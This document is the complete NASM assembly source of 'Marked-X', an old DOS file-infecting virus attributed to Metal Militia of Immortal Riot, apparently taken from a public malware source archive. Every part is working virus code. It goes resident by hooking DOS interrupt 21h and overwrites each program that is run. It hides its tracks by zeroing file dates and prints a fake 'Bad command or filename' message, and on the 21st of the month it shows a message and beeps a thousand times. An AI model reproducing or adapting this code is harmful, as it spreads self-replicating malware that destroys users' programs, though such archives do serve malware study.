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https://github.com/vxunderground/MalwareSourceCode
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110 lines
3.7 KiB
NASM
110 lines
3.7 KiB
NASM
; Virusname : Marked-X
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; Virusauthor: Metal Militia
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; Virusgroup : Immortal Riot
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; Origin : Sweden
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;
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; It's a TSR, overwriting infector on files executed. If it's the
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; twenty-first of any month it'll print a note and beep one thousand
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; times. It also sets time/date to 00-00-00 so nothing will be shown
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; in the fields when you take a "dir". It'll print a faked note when
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; it goes into memory aswell saying they executed the file's not there.
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; Urmm!.. Anyhow, enjoy Insane Reality #4!
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;
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;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
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; MARKED-X
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;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
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virus segment ; segment's and shit
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assume cs:virus,ds:virus
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org 100h
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start: mov ah,2ah
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int 21h
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cmp dl,21
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je happy_happy_joy_joy
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mov ah,9h ; Print the faked
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mov dx,offset note ; note.. (bad commie or filename)
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int 21h
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jmp makemegotsr
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happy_happy_joy_joy:
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mov ah,9h ; Print the virus note
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mov dx,offset society ; to show that we're here
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int 21h
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mov cx,1000 ; Print 1000
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mov ax,0e07h ; "beep-letters"
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beeper:
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int 10h ; to screen
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loop beeper ; (results in [ofcause] 1000 beepies)
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makemegotsr:
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jmp tsrdata ; Celebrate! now put us as a TSR in memory
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new21: pushf ; Pushfar
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cmp ah,4bh ; Is a file being run?
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jz infect ; If so, infect it
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jmp short end21 ; If not, back to old int21 vector
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infect: mov ax,4301h ; Set attrib's to zero, keines, finito
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and cl,0feh
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int 21h
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mov ax,3d02h ; Open file
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int 21h
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mov bx,ax ; or.. xchg ax,bx.. but that doesn't work here
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push ax ; Push all
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push bx
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push cx
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push dx
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push ds
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push cs
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pop ds
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mov ax,4200h ; Move to beginning (?)
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xor cx,cx
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cwd
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int 21h
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mov cx,offset endvir-100h ; What to write
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mov ah,40h ; Write it
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mov dx,100h ; Offset start
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int 21h
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cwd ; set date/time
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xor cx,cx ; to zero (00-00-00)
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mov ax,5701h ; do that
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int 21h
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mov ah,3eh ; close file
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int 21h
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x21: pop ds ; pop all
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pop dx
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pop cx
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pop bx
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pop ax
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end21: popf ; pop far
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db 0eah ; Jmp far (?)
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old21 dw 0,0 ; Where to store the old INT21
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data db 'Marked-X' ; Virus name
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db 'Will we ever learn to talk with eachother?' ; Virus poem
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db '(c) Metal Militia/Immortal Riot' ; Virus author
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society db 'In any country, prison is where society sends it''s',0dh,0ah
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db 'failures, but in this country society itself is faily',0dh,0ah
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db '$' ; Information note
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note db 'Bad command or filename',0dh,0ah
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db '$' ; Fake note
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tsrdata:
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mov ax,3521h ; Hook int21
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int 21h
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mov word ptr cs:old21,bx ; Where to but it
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mov word ptr cs:old21+2,es
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mov dx,offset new21 ; Where's our to be called
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mov ax,2521h ; Fix it
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int 21h
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push cs ; push it
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pop ds ; pop it
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mov dx,offset endvir ; Put all of us in memory
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int 27h ; Do it, TSR (terminate & stay resident)
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endvir label byte ; End of file
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virus ends
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end start
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